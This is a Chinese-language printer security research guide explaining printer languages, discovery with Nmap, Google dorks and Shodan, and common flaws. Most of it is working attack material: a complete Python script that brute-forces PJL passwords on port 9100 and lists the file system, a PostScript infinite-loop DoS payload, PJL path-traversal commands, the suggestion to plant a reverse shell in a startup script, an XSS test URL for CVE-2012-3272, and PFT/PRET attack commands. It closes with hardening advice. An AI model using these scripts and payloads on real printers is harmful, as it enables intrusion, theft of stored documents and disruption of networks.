不可忽视的打印机漏洞研究
字数 2089 2025-08-18 11:38:44
打印机漏洞研究与安全防护指南
0x01 打印机安全概述
打印机作为企业内网中常被忽视的设备,实际上存在多种安全漏洞。当打印机连接网络时,它可以被视为一台服务器,可能面临以下攻击:
- 信息泄露:访问内存可能发现密码或打印文件中的敏感数据;访问文件系统可能泄露配置文件或存储的打印作业
- 拒绝服务(DoS)攻击
- 远程代码执行(RCE):通过缓冲区溢出漏洞构造恶意数据包,使打印机执行恶意代码
- 恶意固件更新:将固件更新为含有恶意代码的版本
- 打印任务控制:修改打印内容等
0x02 打印机语言基础
打印机语言分类
-
页面描述语言(PDL)
- HP的PCL控制语言
- PostScript(PS)
-
嵌入式语言(Escape码语言)
PS与PCL对比
| 特性 | PCL | PostScript |
|---|---|---|
| 优势 | 对系统资源占用少,处理文本/文档出色 | 处理大型图形/图像文件有优势,色彩准确度高 |
| 适用场景 | 普通商务办公 | 专业图形设计和高精度色彩需求 |
打印机工作流程
- 计算机将打印内容解释成标准页面描述文件(PS/PCL格式)
- 文件传到打印机控制器
- 控制器将文件发送给光栅图像处理器(RIP)
- RIP将PS/PCL解释成位图格式
- 打印机打印位图格式图像
PJL(打印任务语言)
- 是PCL的扩展
- 用于指导打印机行为,执行管理性更改设置
- 可对打印文件执行存储删除操作
- 可被用来执行DoS攻击、打印页面控制、读取文件系统和内存,甚至恶意固件更新
PPD(PostScript打印机描述)文件
- 提供打印机特定信息:分辨率、是否支持半色调监控、页面大小定义等
- 每种PostScript打印机都有专门的PPD文件
0x03 打印机探测方法
- Nmap扫描:
nmap -A 192.168.1.*,查看开放端口和操作系统指纹 - 厂商专用工具:
- Savins打印机:SmartDeviceMonitor
- JetDirect打印机:JetAdmin
- ARP协议扫描:通过MAC地址发现打印机
- 谷歌搜索:
- Ricoh Savins:
intitle:"web image monitor" "/web/user/en/websys/webArch/mainFrame.cgi" - HP Jetdirects:
inurl:hp/device/this.LCDispatcher - CUPS Connected Printers:
inurl:":631/printers" -php -demo
- Ricoh Savins:
- 其他搜索引擎:
- Shodan:
device:printer - 钟馗之眼:
service:"jetdirect"
- Shodan:
0x04 常见打印机漏洞
PJL密码爆破
漏洞原理:
- 打印机9100端口向公网开放
- PJL认证密钥长度为2字节(65536种可能)
- 可通过爆破禁用PJL密码保护
危害:
- 查看和更改打印机状态
- 访问打印机内置文件系统
- 读写后台打印作业、传真、日志和配置文件
爆破脚本(Python3):
import socket
import sys
def main():
if len(sys.argv)<=1:
print('Parameters error')
return
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((sys.argv[1],9100))
s.settimeout(None)
# 发送读取设备ID的PJL指令
s.send(('33%-12345X@PJL INFO ID\r\n33%-12345X\r\n').encode('UTF-8'))
print(s.recv(1024).decode('UTF-8'))
for i in range(1, 65536):
buf = b''
# 发送重置密码的PJL指令
s.send(('33%-12345X@PJL \r\n@PJL JOB PASSWORD=' + str(i) + '\r\n@PJL DEFAULT PASSWORD=0 \r\n@PJL EOJ\r\n33%-12345X\r\n').encode('UTF-8'))
if i%30 == 0:
# 发送查询密码保护状态的PJL指令
s.send(('33%-12345X@PJL \r\n@PJL DINQUIRE PASSWORD\r\n33%-12345X\r\n').encode('UTF-8'))
while True:
buf += s.recv(1)
print(buf)
try:
buf.index(b'\r\n\x0c')
try:
# 密码保护被禁用
buf.index(b'DISABLED')
print('password disabled ok!')
# 发送查询目录的PJL指令
s.send(('33%-12345X@PJL \r\n@PJL FSDIRLIST NAME = "0:\\" ENTRY=1 COUNT=99\r\n33%-12345X\r\n').encode('UTF-8'))
buf = b''
while True:
buf += s.recv(1)
print(buf)
try:
buf.index(b'\r\n\x0c')
try:
# 查询成功
buf.index(b'ENTRY')
print('PoC OK!')
return
except ValueError:
print('PoC NO!')
return
except ValueError:
continue
except ValueError:
print('password disabled faild!')
finally:
s.close()
return
except ValueError:
continue
s.close()
if __name__ == '__main__':
main()
拒绝服务(DoS)攻击
攻击方法:
- 通过9100端口发送无限循环打印任务的PostScript代码
- 示例PS代码:
%! {} loop
路径遍历漏洞
漏洞原理:
- 通过
../进行目录穿越 - 可读取和写入文件
利用方法:
-
使用PJL命令遍历目录:
@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024@PJL FSDIRLIST NAME="0:/../" ENTRY=1 COUNT=1024@PJL FSDIRLIST NAME="0:/../data" ENTRY=1 COUNT=1024
-
寻找可写入文件(如启动脚本),写入恶意代码实现反弹shell
HP JetDirect打印机存储型XSS
漏洞详情:
- CVE-2012-3272
- 影响HP镭射打印机配置页面
- "Product_URL"和"Tech_URL"参数存在漏洞
测试方法:
http://[server]/support_param.html/config?Admin_Name=&Admin_Phone=&Product_URL=[XSS]&Tech_URL=[XSS]&Apply=Apply
0x05 打印机攻击工具
PFT工具
基本用法:
-
连接打印机:
pft> server 192.168.15.200 pft> port 9100 pft> connect -
清除PJL程序保护:
pft> env bruteforce -
查看硬盘文件:
pft> volumes pft> ls -
下载文件:
pft> get 文件名
PRET工具
功能:
- 支持PS、PJL和PCL打印机语言
- 可检查文件系统、创建目录、更改配置文件、dump整个NVRAM
基本用法:
python pret.py IP PS
0x06 固件漏洞
检测方法:
- 使用nmap扫描固件版本
- 使用Linux_Exploit_Suggester.pl查询内核版本漏洞:
perl Linux_Exploit_Suggester.pl -k 2.6.31
0x07 安全建议
- 网络隔离:将打印机置于独立VLAN或专用网络
- 访问控制:
- 禁用不必要的服务端口
- 设置强密码保护PJL访问
- 固件更新:定期更新打印机固件
- 日志监控:监控打印机的异常访问和操作
- 敏感数据保护:避免在打印机上存储敏感文档
- 物理安全:限制对打印机的物理访问
0x08 注意事项
- 测试时不要随意扫描打印机,否则可能导致打印大量请求数据包,浪费纸张
- 所有测试应在授权范围内进行
- 涉及漏洞的信息仅限技术研究与讨论,严禁用于非法用途